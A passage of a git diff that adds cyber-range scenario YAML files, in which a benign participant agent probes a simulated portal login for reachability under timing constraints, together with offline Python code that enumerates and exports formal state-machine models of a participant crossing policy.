authorized to probe the customer portal login + endpoint. + support_refs: + - agents.participant-agent + - nodes.customer-portal.services.http + - precondition_id: portal-present + precondition_class: target + description: The DMZ customer portal exists inside the enterprise slice. + support_refs: + - nodes.customer-portal.services.http + - precondition_id: runtime-binding-available + precondition_class: realization + description: 'A downstream participant implementation/runtime binding can perform + the declared probe without changing SDL semantics. + + ' + support_refs: + - participant-implementation-manifest:participant-agent + effects: + - effect_id: portal-reachability-observed + effect_class: intended_effect + description: The participant obtains a bounded reachability observation. + target_refs: + - nodes.customer-portal.services.http + - effect_id: terminal-observation-emitted + effect_class: observation_effect + description: Runtime emits a terminal participant observation envelope. + evidence_refs: + - content.participant-observation + state_transition_effects: + - participant customer-portal knowledge expands + observation_expectations: + - terminal customer portal observation + evidence_expectations: + - action outcome and bound timing evidence + failure_classes: + - precondition_unsatisfied + - target_unavailable + - unsupported_action + - authority_denied + - unsafe_withheld + - partial_success + - backend_error + - unknown + temporal_contracts: + - temporal_id: finish + temporal_kind: dwell + time_domain: simulation_time + clock_authority: scenario-clock + event_points: + - start + - end + description: Bounded action deadline. + duration_ref: hold-window + reset_boundary: fresh-segment + replay_boundary: fresh-evidence + ordering_basis: shared-superdense-time + backend_disclosure_refs: + - timing + shared_time_binding: + profile: participant-shared-time/v1 + clock_ref: scenario-clock + constraint_ref: hold-window + event_point: start + evidence_mode: continuous + condition_precondition_id: portal-present + observation_boundary_ref: participant-view + window_ref: hold-window + backend_timing_disclosures: + - disclosure_id: timing + disclosure_kind: synchronization + support_mode: exact + description: Admission requires exact bound-event evidence from the selected + backend. + affected_temporal_ids: + - finish +observation_boundaries: + participant-view: + projection_basis: Declared HTTP target and bounded response. + observable_refs: + - nodes.customer-portal.services.http + evidence_refs: + - content.participant-observation + redaction_policy: No backend-private data. + latency_profile: terminal action observation + observer_effects: + - HTTP request may create service logs + realized_view_disclosure: Only the declared response and evidence references. +agents: + participant-agent: + affiliations: [enterprise-participant] + actions: + - probe-customer-portal-login + observation_boundaries: + - participant-view +behavior_specifications: + participant-behavior: + semantic_version: 1.0.0 + lifecycle_state: active + participant_refs: + - participant-agent + participant_role_refs: + - green + action_contract_refs: + - probe-customer-portal-login + observation_boundary_refs: + - participant-view + outcome_interpretation_rule_refs: [] + authority_scope_refs: [] + behavior_mode: autonomous + realization_profile_ref: participant-implementation-manifest:participant-agent + backend_feature_support_refs: + - action_contracts + - autonomous_execution + - behavior_history + - observation_boundaries + - temporal_contracts + evidence_contract_refs: + - participant-behavior-history-event-stream-v1 + extension_policy: governed-extension + autonomous_execution: + participant_implementation_ref: participant-implementation-manifests.green-worker.v1 + clock_ref: scenario-clock + progression_policy_ref: scenario-progression + temporal_constraint_refs: + - green-cadence + action_order: + - probe-customer-portal-login + observation_boundary_ref: participant-view + selection_strategy: ordered_cycle + max_action_attempts: ${attempts} + max_in_flight: 1 + failure_policy: stop + evaluation_authority: + mode: none +time_domains: + scenario: + kind: simulated + tick_period_seconds: + numerator: 1 + denominator: 1 + epoch: scenario_start + visibility: participant_visible + description: Exact shared scenario time for benign participant actions. +clocks: + scenario-clock: + time_domain_ref: scenario + authority_kind: runtime + authority_ref: runtime.time-coordinator + monotonicity: non_decreasing + supports_pause: true + supports_reset: true + description: Authoritative shared scenario clock. +time_progression_policies: + scenario-progression: + clock_ref: scenario-clock + advancement_mode: stepped + synchronization_mode: barrier + step_ticks: 10 + reset_behavior: new_segment_zero + replay_behavior: restore_recorded_advances + description: Deterministic stepped progression. +temporal_constraints: + green-cadence: + constraint_kind: cadence + clock_ref: scenario-clock + subject_refs: + - nodes.customer-portal + start: + tick: 10 + cadence_ticks: 10 + description: One benign participant action every ten ticks. + hold-window: + constraint_kind: window + clock_ref: scenario-clock + subject_refs: + - action_contracts.probe-customer-portal-login + start: + tick: 0 + end: + tick: 10 + description: The condition must hold throughout [0, 10) before dispatch. +name: automation-dwell +description: Portable bounded temporal profile; native realization requires matching + manifest claims and evidence. +variables: + attempts: + type: integer + default: 1 diff --git a/examples/scenarios/temporal-profiles/user-deadline.sdl.yaml b/examples/scenarios/temporal-profiles/user-deadline.sdl.yaml new file mode 100644 index 000000000..f63e0fd76 --- /dev/null +++ b/examples/scenarios/temporal-profiles/user-deadline.sdl.yaml @@ -0,0 +1,223 @@ +nodes: + customer-portal: + type: compute + source: + name: customer-portal-app + version: reference + resources: + ram: 1 GiB + cpu: 1 + services: + - name: http + port: 8080 + protocol: tcp +infrastructure: + customer-portal: + count: 1 +entities: + enterprise-participant: + role: green +content: + participant-observation: + type: dataset + target: customer-portal + description: Action and timing evidence. + items: + - name: response + description: Bounded action observation. +action_contracts: + probe-customer-portal-login: + semantic_version: 1.0.0 + lifecycle_state: active + behavioral_granularity: atomic + procedure_basis: bounded HTTP login probe through participant runtime + realization_profile: backend-declared + fidelity_claim: Declares an HTTP probe, not a native implementation or fidelity + claim. + preconditions: + - precondition_id: participant-authorized + precondition_class: authority + description: The participant is authorized to probe the customer portal login + endpoint. + support_refs: + - agents.participant-agent + - nodes.customer-portal.services.http + - precondition_id: portal-present + precondition_class: target + description: The DMZ customer portal exists inside the enterprise slice. + support_refs: + - nodes.customer-portal.services.http + - precondition_id: runtime-binding-available + precondition_class: realization + description: 'A downstream participant implementation/runtime binding can perform + the declared probe without changing SDL semantics. + + ' + support_refs: + - participant-implementation-manifest:participant-agent + effects: + - effect_id: portal-reachability-observed + effect_class: intended_effect + description: The participant obtains a bounded reachability observation. + target_refs: + - nodes.customer-portal.services.http + - effect_id: terminal-observation-emitted + effect_class: observation_effect + description: Runtime emits a terminal participant observation envelope. + evidence_refs: + - content.participant-observation + state_transition_effects: + - participant customer-portal knowledge expands + observation_expectations: + - terminal customer portal observation + evidence_expectations: + - action outcome and bound timing evidence + failure_classes: + - precondition_unsatisfied + - target_unavailable + - unsupported_action + - authority_denied + - unsafe_withheld + - partial_success + - backend_error + - unknown + temporal_contracts: + - temporal_id: finish + temporal_kind: deadline + time_domain: simulation_time + clock_authority: scenario-clock + event_points: + - end + - deadline + description: Bounded action deadline. + duration_ref: finish-by-five + reset_boundary: fresh-segment + replay_boundary: fresh-evidence + ordering_basis: shared-superdense-time + backend_disclosure_refs: + - timing + shared_time_binding: + profile: participant-shared-time/v1 + clock_ref: scenario-clock + constraint_ref: finish-by-five + event_point: end + evidence_mode: event + backend_timing_disclosures: + - disclosure_id: timing + disclosure_kind: synchronization + support_mode: exact + description: Admission requires exact bound-event evidence from the selected + backend. + affected_temporal_ids: + - finish +observation_boundaries: + participant-view: + projection_basis: Declared HTTP target and bounded response. + observable_refs: + - nodes.customer-portal.services.http + evidence_refs: + - content.participant-observation + redaction_policy: No backend-private data. + latency_profile: terminal action observation + observer_effects: + - HTTP request may create service logs + realized_view_disclosure: Only the declared response and evidence references. +agents: + participant-agent: + affiliations: [enterprise-participant] + actions: + - probe-customer-portal-login + observation_boundaries: + - participant-view +behavior_specifications: + participant-behavior: + semantic_version: 1.0.0 + lifecycle_state: active + participant_refs: + - participant-agent + participant_role_refs: + - green + action_contract_refs: + - probe-customer-portal-login + observation_boundary_refs: + - participant-view + outcome_interpretation_rule_refs: [] + authority_scope_refs: [] + behavior_mode: autonomous + realization_profile_ref: participant-implementation-manifest:participant-agent + backend_feature_support_refs: + - action_contracts + - autonomous_execution + - behavior_history + - observation_boundaries + - temporal_contracts + evidence_contract_refs: + - participant-behavior-history-event-stream-v1 + extension_policy: governed-extension + autonomous_execution: + participant_implementation_ref: participant-implementation-manifests.green-worker.v1 + clock_ref: scenario-clock + progression_policy_ref: scenario-progression + temporal_constraint_refs: + - green-cadence + action_order: + - probe-customer-portal-login + observation_boundary_ref: participant-view + selection_strategy: ordered_cycle + max_action_attempts: ${attempts} + max_in_flight: 1 + failure_policy: stop + evaluation_authority: + mode: none +time_domains: + scenario: + kind: simulated + tick_period_seconds: + numerator: 1 + denominator: 1 + epoch: scenario_start + visibility: participant_visible + description: Exact shared scenario time for benign participant actions. +clocks: + scenario-clock: + time_domain_ref: scenario + authority_kind: runtime + authority_ref: runtime.time-coordinator + monotonicity: non_decreasing + supports_pause: true + supports_reset: true + description: Authoritative shared scenario clock. +time_progression_policies: + scenario-progression: + clock_ref: scenario-clock + advancement_mode: stepped + synchronization_mode: barrier + step_ticks: 10 + reset_behavior: new_segment_zero + replay_behavior: restore_recorded_advances + description: Deterministic stepped progression. +temporal_constraints: + green-cadence: + constraint_kind: cadence + clock_ref: scenario-clock + subject_refs: + - nodes.customer-portal + start: + tick: 0 + cadence_ticks: 10 + description: One benign participant action every ten ticks. + finish-by-five: + constraint_kind: deadline + clock_ref: scenario-clock + subject_refs: + - action_contracts.probe-customer-portal-login + end: + tick: 5 + description: The selected action event must occur no later than tick five. +name: user-deadline +description: Portable bounded temporal profile; native realization requires matching + manifest claims and evidence. +variables: + attempts: + type: integer + default: 1 diff --git a/implementations/formal/participant_crossing/__init__.py b/implementations/formal/participant_crossing/__init__.py new file mode 100644 index 000000000..12bd3202a --- /dev/null +++ b/implementations/formal/participant_crossing/__init__.py @@ -0,0 +1 @@ +"""Offline SEM-232 model construction; never imported by the runtime.""" diff --git a/implementations/formal/participant_crossing/__main__.py b/implementations/formal/participant_crossing/__main__.py new file mode 100644 index 000000000..f9179c447 --- /dev/null +++ b/implementations/formal/participant_crossing/__main__.py @@ -0,0 +1,31 @@ +"""Fixed-path offline producer: python -m implementations.formal.participant_crossing.""" + +import argparse +import sys +from pathlib import Path + + +def main(argv=None) -> int: + parser = argparse.ArgumentParser( + description="Construct or check the complete crossing model bundle." + ) + parser.add_argument( + "--write", + action="store_true", + help="Publish a new bundle; refuse existing drift.", + ) + args = parser.parse_args(argv) + root = Path(__file__).resolve().parents[3] + try: + from .export import check, publish + + (publish if args.write else check)(root) + except (OSError, ValueError): + print("participant-crossing model export failed validation", file=sys.stderr) + return 1 + print("participant-crossing model bundle verified; no equivalence result claimed") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/implementations/formal/participant_crossing/abstract.py b/implementations/formal/participant_crossing/abstract.py new file mode 100644 index 000000000..bc598fadb --- /dev/null +++ b/implementations/formal/participant_crossing/abstract.py @@ -0,0 +1,148 @@ +"""SEM-230 transition authority, executable refinement rev2. + +Derivation: participant-crossing-models.md, Abstract rules. No concrete-stage +dependency or abstraction map is used to construct this graph. +""" + +from collections import deque +from dataclasses import dataclass, replace + +from raes_contracts.behavioral_relation_profiles import INPUT_CLASSES + +from .graph import Graph + + +@dataclass(frozen=True) +class State: + phase: str = "idle" + cut: str = "p0" + intent: tuple[str, str, str, str] | None = None + decision: str = "none" + delivery: str = "none" + last: tuple[str, str, str] | None = None + + +INITIAL = State() +_POLICY = { + "p0": dict( + zip( + INPUT_CLASSES, + ("permit", "transform", "deny", "unsupported", "deny"), + strict=True, + ) + ), + "p1": dict( + zip( + INPUT_CLASSES, + ("permit", "transform", "declassify", "unsupported", "deny"), + strict=True, + ) + ), +} + + +def successors(state: State) -> list[tuple[str, State]]: + """Exactly the abstract rules; no silent abstract transitions.""" + if state.phase in {"idle", "terminal"}: + choices = [] + if state.cut == "p0": + choices.append(("policy.cut.advance", replace(state, cut="p1"))) + if state.last is None: + for item in INPUT_CLASSES: + choices.append( + ( + "crossing.request", + State( + "offered", + state.cut, + ("request-0", item, state.cut, "fresh"), + ), + ) + ) + else: + mode = "same-cut" if state.last[1] == state.cut else "later-cut" + intent = ("request-0", state.intent[1], state.last[1], mode) + choices.append( + ( + "crossing.request", + State("offered", state.cut, intent, last=state.last), + ) + ) + return choices + if state.phase == "offered": + if state.intent[3] == "later-cut": + decision = state.last[2] + delivery = ( + "withheld" if decision in {"deny", "unsupported"} else "delivered" + ) + return [ + ( + "crossing.replay.reject", + replace( + state, phase="terminal", decision=decision, delivery=delivery + ), + ) + ] + decision = state.last[2] if state.last else _POLICY[state.cut][state.intent[1]] + if decision in {"deny", "unsupported"}: + return [ + ( + f"crossing.decision.{decision}", + replace( + state, + phase="terminal", + decision=decision, + delivery="withheld", + last=state.last or ("request-0", state.cut, decision), + ), + ) + ] + return [ + ( + "crossing.decision.permit", + replace( + state, + phase="decided", + decision=decision, + delivery="pending" if decision == "permit" else "none", + ), + ) + ] + if state.phase == "decided": + if state.delivery == "none": + return [(f"crossing.{state.decision}", replace(state, delivery="pending"))] + return [("crossing.delivery", replace(state, phase="delivery-pending"))] + if state.phase == "delivery-pending": + return [ + ( + "crossing.observation", + replace( + state, + phase="terminal", + delivery="delivered", + last=state.last or ("request-0", state.cut, state.decision), + ), + ) + ] + raise ValueError("invalid abstract phase") + + +def build(*, max_states: int = 4096) -> Graph: + """Least reachable fixed point, deterministic breadth-first enumeration.""" + states = [INITIAL] + ordinals = {INITIAL: 0} + work = deque([INITIAL]) + edges = set() + while work: + state = work.popleft() + for label, target in sorted( + successors(state), key=lambda edge: (edge[0], repr(edge[1])) + ): + if target not in ordinals: + if len(states) >= max_states: + raise ValueError("abstract resource limit exceeded") + ordinals[target] = len(states) + states.append(target) + work.append(target) + edges.add((ordinals[state], label, ordinals[target])) + return Graph(tuple(states), tuple(sorted(edges))) diff --git a/implementations/formal/participant_crossing/aut.py b/implementations/formal/participant_crossing/aut.py new file mode 100644 index 000000000..900f12dca --- /dev/null +++ b/implementations/formal/participant_crossing/aut.py @@ -0,0 +1,61 @@ +"""Strict deterministic AUT codec; contains no transition semantics.""" + +import re + +from raes_contracts.behavioral_relation_profiles import HIDDEN, VISIBLE + +from .graph import Graph +from .ingress import MAX_BYTES + + +def parse_aut(content: bytes) -> tuple[int, int, tuple[tuple[int, str, int], ...]]: + if len(content) > MAX_BYTES: + raise ValueError("AUT exceeds byte limit") + try: + lines = content.decode("ascii").splitlines() + except UnicodeDecodeError: + raise ValueError("invalid AUT encoding") from None + header = ( + re.fullmatch(r"des \((\d{1,5}), (\d{1,6}), (\d{1,5})\)", lines[0]) + if lines + else None + ) + if header is None: + raise ValueError("invalid AUT header") + initial, edge_count, state_count = map(int, header.groups()) + if not 0 <= initial < state_count <= 4096 or edge_count != len(lines) - 1: + raise ValueError("invalid AUT counts") + edges = [] + for line in lines[1:]: + edge = re.fullmatch(r'\((\d{1,5}),"([a-z.-]{1,48})",(\d{1,5})\)', line) + if edge is None: + raise ValueError("invalid AUT edge") + left, label, right = edge.groups() + if ( + label not in (*VISIBLE, "internal") + or max(int(left), int(right)) >= state_count + ): + raise ValueError("invalid AUT label or endpoint") + edges.append((int(left), label, int(right))) + if len(set(edges)) != len(edges): + raise ValueError("duplicate AUT edge") + return initial, state_count, tuple(edges) + + +def render_aut(graph: Graph) -> bytes: + projected = [] + for source, label, target in graph.edges: + if label not in (*VISIBLE, *HIDDEN): + raise ValueError("undeclared semantic label") + projected.append((source, "internal" if label in HIDDEN else label, target)) + projected.sort() + content = ( + f"des ({graph.initial}, {len(projected)}, {len(graph.states)})\n" + + "".join( + f'({source},"{label}",{target})\n' for source, label, target in projected + ) + ).encode("ascii") + initial, count, edges = parse_aut(content) + if (initial, count, edges) != (graph.initial, len(graph.states), tuple(projected)): + raise ValueError("AUT readback mismatch") + return content diff --git a/implementations/formal/participant_crossing/concrete.py b/implementations/formal/participant_crossing/concrete.py new file mode 100644 index 000000000..820465e04 --- /dev/null +++ b/implementations/formal/participant_crossing/concrete.py @@ -0,0 +1,176 @@ +"""Independent API-423/RUN-319 formal crossing kernel, rev2. + +Derivation: contract predecessor order and runtime gate/prepare/commit stages. +This is a formal kernel; it does not execute or certify the live runtime. +""" + +from dataclasses import dataclass, replace + +from raes_contracts.behavioral_relation_profiles import INPUT_CLASSES + +from .graph import Graph + + +@dataclass(frozen=True) +class State: + phase: str = "idle" + cut: str = "p0" + intent: tuple[str, str, str, str] | None = None + gate: str = "unresolved" + capability: str = "unresolved" + decision: str = "none" + delivery: str = "none" + head: str = "h0" + last: tuple[str, str, str] | None = None + + +INITIAL = State() + + +def _environment(state: State) -> list[tuple[str, State]]: + edges = [] + if state.cut == "p0": + edges.append(("policy.cut.advance", replace(state, cut="p1"))) + inputs = INPUT_CLASSES if state.last is None else (state.intent[1],) + for item in inputs: + if state.last is None: + intent = ("request-0", item, state.cut, "fresh") + else: + mode = "same-cut" if state.cut == state.last[1] else "later-cut" + intent = ("request-0", item, state.last[1], mode) + edges.append( + ( + "crossing.request", + State( + "validating", state.cut, intent, head=state.head, last=state.last + ), + ) + ) + return edges + + +def _gating(state: State) -> list[tuple[str, State]]: + # Independent deny-first gate derivation, not the abstract policy table. + if state.gate == "deny": + decision = "deny" + elif state.capability != "supported": + decision = "unsupported" + elif state.intent[1] in {"transform", "declassify"}: + decision = state.intent[1] + else: + decision = "permit" + refused = decision in {"deny", "unsupported"} + label = f"crossing.decision.{decision}" if refused else "crossing.decision.permit" + phase = "terminal" if refused and state.last else "preparing-record" + delivery = ( + "withheld" if refused else ("pending" if decision == "permit" else "none") + ) + return [(label, replace(state, phase=phase, decision=decision, delivery=delivery))] + + +def successors(state: State) -> list[tuple[str, State]]: + if state.phase in {"idle", "terminal"}: + return _environment(state) + if state.phase == "validating": + return [("internal.validate", replace(state, phase="resolving-cut"))] + if state.phase == "resolving-cut": + if state.intent[2] != state.cut: + decision = state.last[2] + delivery = ( + "withheld" if decision in {"deny", "unsupported"} else "delivered" + ) + return [ + ( + "crossing.replay.reject", + replace( + state, phase="terminal", decision=decision, delivery=delivery + ), + ) + ] + return [ + ( + "internal.resolve-policy-cut", + replace(state, phase="resolving-capability"), + ) + ] + if state.phase == "resolving-capability": + capability = "unsupported" if state.intent[1] == "unsupported" else "supported" + allowed = state.intent[1] != "forbidden" and not ( + state.intent[1] == "declassify" and state.cut == "p0" + ) + return [ + ( + "internal.resolve-capability", + replace( + state, + phase="gating", + capability=capability, + gate="permit" if allowed else "deny", + ), + ) + ] + if state.phase == "gating": + return _gating(state) + if state.phase == "preparing-record": + if state.decision in {"transform", "declassify"} and state.delivery == "none": + return [(f"crossing.{state.decision}", replace(state, delivery="pending"))] + return [("internal.prepare-record", replace(state, phase="committing"))] + if state.phase == "committing": + if state.last is None: + phase = ( + "terminal" + if state.decision in {"deny", "unsupported"} + else "committing" + ) + return [ + ( + "internal.atomic-commit", + replace( + state, + phase=phase, + head="h1", + last=("request-0", state.cut, state.decision), + ), + ) + ] + return [("crossing.delivery", replace(state, phase="delivery-pending"))] + if state.phase == "delivery-pending": + return [ + ( + "crossing.observation", + replace(state, phase="terminal", delivery="delivered"), + ) + ] + raise ValueError("invalid concrete phase") + + +def internal_rank(state: State) -> int: + if state.phase == "committing": + return 1 if state.last is None else 0 + return { + "validating": 6, + "resolving-cut": 5, + "resolving-capability": 4, + "gating": 3, + "preparing-record": 2, + }.get(state.phase, 0) + + +def build(*, max_states: int = 4096) -> Graph: + """Independently enumerate the kernel worklist until no new state exists.""" + queue = [INITIAL] + ids = {INITIAL: 0} + arcs = [] + cursor = 0 + while cursor < len(queue): + for action, successor in sorted( + successors(queue[cursor]), key=lambda edge: (edge[0], repr(edge[1])) + ): + if successor not in ids: + if len(queue) >= max_states: + raise ValueError("concrete resource limit exceeded") + ids[successor] = len(queue) + queue.append(successor) + arcs.append((cursor, action, ids[successor])) + cursor += 1 + return Graph(tuple(queue), tuple(sorted(set(arcs)))) diff --git a/implementations/formal/participant_crossing/export.py b/implementations/formal/participant_crossing/export.py new file mode 100644 index 000000000..89d9ed681 --- /dev/null +++ b/implementations/formal/participant_crossing/export.py @@ -0,0 +1,235 @@ +"""Offline, reproducible model bundles; no equivalence result is produced.""" + +import ast +import hashlib +import os +import tempfile +from dataclasses import asdict +from pathlib import Path + +from raes_contracts.behavioral_relation_profiles import ( + BehavioralRelationProfileModel, + ParticipantCrossingParametersModel, +) +from raes_contracts.behavioral_relations import ( + load_behavioral_relation_catalog_revision, +) +from raes_contracts.canonical import canonical_json_bytes, canonical_json_digest +from raes_contracts.json_ingress import parse_bounded_json_object + +from . import abstract, concrete +from .aut import parse_aut as parse_aut, render_aut +from .ingress import MAX_BYTES, read_bytes, safe_path + +PROFILE_PATH = ( + "contracts/profiles/behavioral-relation/participant-crossing-dpbb-finite-v1.json" +) +OUTPUT_PATH = "specs/formal/participant-semantics/crossing-models/rev2" +_PACKAGE = "implementations/python/packages/" +SOURCE_PATHS = ( + "implementations/formal/participant_crossing/__init__.py", + "implementations/formal/participant_crossing/__main__.py", + "implementations/formal/participant_crossing/abstract.py", + "implementations/formal/participant_crossing/concrete.py", + "implementations/formal/participant_crossing/graph.py", + "implementations/formal/participant_crossing/aut.py", + "implementations/formal/participant_crossing/ingress.py", + "implementations/formal/participant_crossing/export.py", + _PACKAGE + "raes_contracts/_participant_crossing_profile.py", + _PACKAGE + "raes_contracts/behavioral_relation_profiles.py", + _PACKAGE + "raes_contracts/_behavioral_profile_loader.py", + _PACKAGE + "raes_contracts/canonical.py", + _PACKAGE + "raes_contracts/_canonical.py", + _PACKAGE + "raes_contracts/json_ingress.py", + _PACKAGE + "raes_contracts/contracts/participant_crossing.py", + _PACKAGE + "raes_contracts/contracts/participant_crossing_validation.py", + _PACKAGE + "raes_runtime/participant_crossing_policy.py", + _PACKAGE + "raes_runtime/participant_crossing_mediation.py", + _PACKAGE + "raes_runtime/participant_crossing_records.py", + _PACKAGE + "raes_runtime/participant_crossing_commit.py", + _PACKAGE + "raes_runtime/participant_crossing_boundary.py", + _PACKAGE + "raes_runtime/participant_crossing_egress.py", + _PACKAGE + "raes_runtime/participant_crossing_state_cut.py", + _PACKAGE + "raes_runtime/control_plane_store.py", + "specs/formal/participant-semantics/participant-crossing-models.md", + "specs/formal/participant-semantics/information-flow-control.md", + "implementations/python/uv.lock", +) + + +def digest(content: bytes) -> str: + return "sha256:" + hashlib.sha256(content).hexdigest() + + +# The CLI starts a fresh interpreter in this checkout. A caller may export a +# copied tree only when its Python sources match that executing checkout. +_EXECUTING_SOURCE_DIGESTS = { + path: digest(read_bytes(Path(__file__).resolve().parents[3], path)) + for path in SOURCE_PATHS + if path.endswith(".py") +} + + +def _independence(sources: dict[str, bytes]) -> None: + allowed = { + "collections", + "dataclasses", + "raes_contracts.behavioral_relation_profiles", + "graph", + } + for module in (abstract, concrete): + if module.successors.__module__ != module.__name__: + raise ValueError("models must use independent transition authorities") + path = f"implementations/formal/participant_crossing/{module.__name__.rsplit('.', 1)[1]}.py" + tree = ast.parse(sources[path]) + for node in ast.walk(tree): + if ( + isinstance(node, ast.Import) + or isinstance(node, ast.ImportFrom) + and node.module not in allowed + ): + raise ValueError("models must use independent transition dependencies") + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id in {"eval", "exec", "__import__"} + ): + raise ValueError( + "models must use independent static transition dependencies" + ) + if abstract.successors is concrete.successors or abstract.build is concrete.build: + raise ValueError("models must use independent transition authorities") + + +def _validate_graph(graph, module) -> None: + if not graph.states or graph.states[graph.initial] != module.INITIAL: + raise ValueError("invalid model initial state") + index = {state: ordinal for ordinal, state in enumerate(graph.states)} + if len(index) != len(graph.states): + raise ValueError("duplicate model states") + expected = set() + for ordinal, state in enumerate(graph.states): + for label, target in module.successors(state): + if target not in index: + raise ValueError("incomplete model transition closure") + expected.add((ordinal, label, index[target])) + if expected != set(graph.edges) or len(graph.edges) != len(expected): + raise ValueError("incomplete model transition closure") + reachable = {graph.initial} + while True: + expanded = reachable | { + target for source, _, target in graph.edges if source in reachable + } + if expanded == reachable: + break + reachable = expanded + if len(reachable) != len(graph.states): + raise ValueError("unreachable model states") + + +def build_bundle(root: Path) -> dict[str, bytes]: + payload = parse_bounded_json_object( + read_bytes(root, PROFILE_PATH), max_bytes=256 * 1024, max_depth=32 + ) + profile = BehavioralRelationProfileModel.model_validate(payload) + if not isinstance(profile.parameters, ParticipantCrossingParametersModel): + raise ValueError("expected crossing profile") + sources = {path: read_bytes(root, path) for path in SOURCE_PATHS} + identities = {path: digest(content) for path, content in sources.items()} + for carrier in (profile.parameters.left, profile.parameters.right): + if identities[carrier.source_path] != carrier.source_digest: + raise ValueError("model source digest drift") + for source in profile.source_refs: + if identities.get(source.source_ref) != source.source_digest: + raise ValueError("profile source digest drift") + if any( + identities[path] != value for path, value in _EXECUTING_SOURCE_DIGESTS.items() + ): + raise ValueError("executing source identity drift") + _independence(sources) + result = {} + counts = {} + for name, module in (("abstract", abstract), ("concrete", concrete)): + graph = module.build() + _validate_graph(graph, module) + result[f"{name}.aut"] = render_aut(graph) + result[f"{name}.json"] = ( + canonical_json_bytes( + { + "initial": graph.initial, + "states": [asdict(state) for state in graph.states], + "semantic_edges": [list(edge) for edge in graph.edges], + } + ) + + b"\n" + ) + counts[name] = { + "states": len(graph.states), + "transitions": len(graph.edges), + "initial_states": 1, + "initial_state": asdict(graph.states[graph.initial]), + "reachable_phases": sorted({state.phase for state in graph.states}), + } + catalog = load_behavioral_relation_catalog_revision(profile.taxonomy_revision) + manifest = { + "schema": "participant-crossing-model-bundle/v1", + "profile_id": profile.profile_id, + "profile_revision": profile.profile_revision, + "profile_digest": profile.canonical_digest, + "profile_file_digest": digest(read_bytes(root, PROFILE_PATH)), + "projection": "participant-crossing-projection@rev1", + "catalog_revision": profile.taxonomy_revision, + "catalog_digest": canonical_json_digest(catalog.model_dump(mode="json")), + "source_revision": canonical_json_digest(identities), + "source_digests": identities, + "domain_counts": { + key: len(values) + for key, values in profile.parameters.domains.model_dump().items() + }, + "models": counts, + "complete_reachable_fixed_point": True, + "artifact_digests": {key: digest(value) for key, value in result.items()}, + "equivalence_result": "not-established", + "runtime_realization": "not-established", + "limitations": list(profile.limitations), + "explicit_non_claims": list(profile.explicit_non_claims), + } + result["manifest.json"] = canonical_json_bytes(manifest) + b"\n" + if any(len(content) > MAX_BYTES for content in result.values()): + raise ValueError("model bundle exceeds resource limit") + return result + + +def _check_expected(root: Path, expected: dict[str, bytes]) -> None: + target = safe_path(root, OUTPUT_PATH) + if not target.is_dir() or {path.name for path in target.iterdir()} != set(expected): + raise ValueError("model bundle artifact drift") + for name, content in expected.items(): + if read_bytes(root, OUTPUT_PATH + "/" + name) != content: + raise ValueError("model bundle digest or count drift") + + +def check(root: Path) -> None: + _check_expected(root, build_bundle(root)) + + +def publish(root: Path) -> None: + """Publish a new complete directory atomically; never overwrite drift.""" + expected = build_bundle(root) + target = safe_path(root, OUTPUT_PATH) + if target.exists(): + _check_expected(root, expected) + return + target.parent.mkdir(parents=True, exist_ok=True) + with tempfile.TemporaryDirectory( + prefix=".crossing-stage-", dir=target.parent + ) as temporary: + stage = Path(temporary) / "bundle" + stage.mkdir() + for name, content in expected.items(): + with (stage / name).open("xb") as stream: + stream.write(content) + stream.flush() + os.fsync(stream.fileno()) + safe_path(root, OUTPUT_PATH) + os.rename(stage, target) diff --git a/implementations/formal/participant_crossing/graph.py b/implementations/formal/participant_crossing/graph.py new file mode 100644 index 000000000..94b02da22 --- /dev/null +++ b/implementations/formal/participant_crossing/graph.py @@ -0,0 +1,10 @@ +"""Nonsemantic graph storage shared by the independent model exporters.""" + +from dataclasses import dataclass + + +@dataclass(frozen=True) +class Graph: + states: tuple + edges: tuple[tuple[int, str, int], ...] + initial: int = 0 diff --git a/implementations/formal/participant_crossing/ingress.py b/implementations/formal/participant_crossing/ingress.py new file mode 100644 index 000000000..d17376131 --- /dev/null +++ b/implementations/formal/participant_crossing/ingress.py @@ -0,0 +1,57 @@ +"""Bounded repository file access for the offline model producer.""" + +import os +import stat +from pathlib import Path, PurePosixPath + +from tools.policy.common import safe_repo_path + +MAX_BYTES = 2 * 1024 * 1024 + + +def safe_path(root: Path, relative: str) -> Path: + parts = PurePosixPath(relative).parts + if ( + not parts + or len(relative) > 256 + or "\\" in relative + or any(part in {".", ".."} for part in parts) + ): + raise ValueError("unsafe model artifact path") + target = safe_repo_path(root, relative) + if target is None or target != root.resolve() / relative: + raise ValueError("unsafe model artifact path") + cursor = root.resolve() + for part in parts: + cursor /= part + if cursor.is_symlink(): + raise ValueError("unsafe model artifact path") + return target + + +def read_bytes(root: Path, relative: str) -> bytes: + safe_path(root, relative) + directory = os.open(root, os.O_RDONLY | os.O_DIRECTORY) + try: + parts = PurePosixPath(relative).parts + for part in parts[:-1]: + child = os.open( + part, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=directory + ) + os.close(directory) + directory = child + descriptor = os.open( + parts[-1], os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK, dir_fd=directory + ) + with os.fdopen(descriptor, "rb") as stream: + info = os.fstat(stream.fileno()) + if not stat.S_ISREG(info.st_mode) or info.st_size > MAX_BYTES: + raise ValueError("invalid model artifact file") + content = stream.read(MAX_BYTES + 1) + if len(content) > MAX_BYTES: + raise ValueError("model artifact exceeds byte limit") + return content + except OSError: + raise ValueError("model artifact is unavailable or unsafe") from None + finally: + os.close(directory) diff --git a/implementations/python/packages/raes/__init__.py b/implementations/python/packages/raes/__init__.py index 781aef43c..98eff02af 100644 --- a/implementations/python/packages/raes/__init__.py +++ b/implementations/python/packages/raes/__init__.py @@ -17,6 +17,11 @@ __all__ = [ "admit_instantiated_scenario", + "admit_materialized_scenario", + "MaterializedScenario", + "MATERIALIZED_SDL_PROFILE", + "canonical_materialized_sdl_bytes", + "canonical_materialized_sdl_digest", "__version__", "canonical_instantiated_sdl_bytes", "canonical_instantiated_sdl_digest", @@ -78,6 +83,9 @@ def __getattr__(name: str): }: module = import_module("raes._errors") elif name in { + "canonical_materialized_sdl_bytes", + "canonical_materialized_sdl_digest", + "MATERIALIZED_SDL_PROFILE", "canonical_instantiated_sdl_bytes", "canonical_instantiated_sdl_digest", "canonical_sdl_bytes", @@ -104,6 +112,8 @@ def __getattr__(name: str): module = import_module("raes._declarations") elif name in {"admit_instantiated_scenario", "instantiate_scenario"}: module = import_module("raes.instantiate") + 